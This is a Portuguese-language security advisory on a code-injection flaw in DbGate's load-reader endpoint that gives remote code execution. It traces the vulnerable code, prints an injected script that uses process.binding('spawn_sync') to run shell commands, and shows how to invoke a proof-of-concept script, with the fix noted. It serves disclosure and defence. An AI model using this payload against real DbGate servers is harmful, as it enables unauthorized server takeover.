
Execução Remota de Código no DbGate via injeção de functionName no endpoint loadReader — CVSS 8.8
functionNameSeveridade: Alta (CVSS 8.8)
CWE: CWE-94 — Controle inadequado da geração de código ('Injeção de código')
Afetado: dbgate-api ≤ 7.1.8 (corrigido em 7.1.9)
Aviso: GHSA-hv83-ggc4-v385
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-48017
Crédito: Romain Deperne
O endpoint POST /runners/load-reader recebe um parâmetro functionName e o interpola
diretamente em uma template string JavaScript que é então executada em um processo bifurcado — sem
nenhuma sanitização ou validação. Qualquer usuário autenticado (sem necessidade de permissão especial) pode escapar
da chamada pretendida e executar JavaScript arbitrário, alcançando execução remota de código no servidor.
O runner bifurcado define require = null como sandbox, mas process.binding("spawn_sync") permanece acessível:
process.binding("spawn_sync") ainda é alcançável e gera um processo real do sistema operacional.
Eu estava auditando o subsistema de runners do DbGate em busca da lacuna entre caminhos de execução de código
protegidos e desprotegidos. O runner start() em runners.js:292 está devidamente protegido — ele chama
testStandardPermission('run-shell-script') e verifica platformInfo.allowShellScripting.
loadReader() faz algo conceitualmente semelhante (constrói e executa um script de carregamento JS), mas não tem
nenhuma dessas verificações. Eu rastreei o fluxo de dados:
runners.js:353 loadReader({ functionName, props })
runners.js:366 loaderScriptTemplate(prefix, functionName, ...)
runners.js:64 `... ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});`
packageTools.ts:33 return `dbgateApi.${functionName}` // ← no sanitization
functionName é controlado pelo atacante e é inserido dentro de uma template string executada. O prefixo dbgateApi.
é a única coisa à sua frente, e é escapável: fechar a expressão com toString();,
injetar o payload e comentar o (${props}) final com // produz JS válido.
Arquivo: packages/api/src/controllers/runners.js (loadReader → loaderScriptTemplate)
Arquivo: packages/tools/src/packageTools.ts:33 (compileShellApiFunctionName)
// packageTools.ts:33 — functionName flows in unsanitized
return `dbgateApi.${functionName}`;
// runners.js:64 — interpolated into the executed loader template
`const reader = await ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});`
Script gerado (injetado):
const reader = await dbgateApi.toString();
process.binding("spawn_sync").spawn({ file:"/bin/sh", args:["/bin/sh","-c","id"], ... });
dbgateApi.toString//({});
compileShellApiFunctionName() foi escrita para transformar um nome curto num caminho de API totalmente qualificado
(dbgateApi.<name>), confiando implicitamente que functionName fosse um identificador. O valor, no entanto,
vem diretamente do corpo do pedido HTTP. Como é concatenado no código-fonte que é posteriormente
eval/forked, a suposição de confiança é uma RCE. A sandbox require = null não ajuda — o
process.binding("spawn_sync") interno do Node contorna-a.
Correção (7.1.9): validar functionName contra uma lista de permissões estrita de identificadores antes de o compilar
no script do loader.
poc/rce_loadreader_functionname_injection.py — aciona o endpoint real de ponta a ponta.
# with an existing JWT
python3 poc/rce_loadreader_functionname_injection.py http://localhost:3000 <JWT> 'id > /tmp/pwned'
# or log in first
python3 poc/rce_loadreader_functionname_injection.py http://localhost:3000 --login admin password 'id'
O script constrói o payload functionName, envia-o para POST /runners/load-reader, e a
chamada spawn_sync injetada executa o comando no processo runner bifurcado.
RCE autenticado no host da API do DbGate. O DbGate é uma GUI de gestão de bases de dados frequentemente implementada com amplo alcance de rede a bases de dados internas — a execução de código nele é um forte ponto de pivô para a camada de dados.
Divulgado de forma responsável. PoC publicado após a correção ter sido lançada, para defensores e engenharia de deteção.